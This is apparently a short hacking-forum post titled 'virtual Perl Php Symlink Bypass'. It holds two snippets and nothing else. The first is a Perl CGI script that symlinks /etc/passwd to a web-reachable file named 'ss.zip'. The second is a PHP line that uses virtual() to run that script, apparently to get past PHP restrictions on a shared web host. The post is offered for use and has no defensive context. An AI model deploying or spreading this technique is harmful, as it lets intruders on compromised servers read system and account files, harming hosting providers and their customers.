virtual Perl Php Symlink Bypass

Code:

#!/usr/bin/perl -w
$target="/etc/passwd";
$distension ="ss.zip";
print "Content-type: text/html\n\n";
print '<body text="#C0C0C0" bgcolor="#000000">';
$symlink = symlink($target,$distension);
if($symlink == 1) { print " $distension Symlink Created Successfully . . ."; }
else { print "Cannot Symlink File or File $distension Already Exists . . ."; }


Code:

<?php


virtual("./ss.pl");


?>